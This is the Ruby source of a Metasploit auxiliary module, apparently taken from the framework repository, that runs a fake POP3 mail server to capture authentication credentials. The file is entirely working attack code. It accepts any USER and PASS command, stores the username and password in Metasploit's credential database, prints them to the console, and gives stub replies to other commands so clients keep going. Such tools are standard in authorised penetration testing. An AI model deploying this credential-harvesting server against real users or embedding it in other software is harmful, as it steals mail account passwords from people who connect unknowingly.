metasploit-framework/modules/auxiliary/server/capture/pop3.rb

144 lines
3.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: POP3',
'Description' => %q{
This module provides a fake POP3 service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ])
], self.class)
end
def setup
super
@state = {}
end
def run
@myhost = datastore['SRVHOST']
@myport = datastore['SRVPORT']
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end
def on_client_connect(c)
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
c.put "+OK\r\n"
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
if(cmd.upcase == "USER")
@state[c][:user] = arg
c.put "+OK\r\n"
return
end
if(cmd.upcase == "PASS")
@state[c][:pass] = arg
report_cred(
ip: @state[c][:ip],
port: @myport,
service_name: 'pop3',
user: @state[c][:user],
password: @state[c][:pass],
proof: arg
)
print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
@state[c][:pass] = data.strip
c.put "+OK\r\n"
return
end
if(cmd.upcase == "STAT")
c.put "+OK 0 0\r\n"
return
end
if(cmd.upcase == "CAPA")
c.put "-ERR No Extended Capabilities\r\n"
return
end
if(cmd.upcase == "LIST")
c.put "+OK 0 Messages\r\n"
return
end
if(cmd.upcase == "QUIT" || cmd.upcase == "RSET" || cmd.upcase == "DELE")
c.put "+OK\r\n"
return
end
print_status("POP3 UNKNOWN CMD #{@state[c][:name]} \"#{data.strip}\"")
c.put "+OK\r\n"
end
def on_client_close(c)
@state.delete(c)
end
end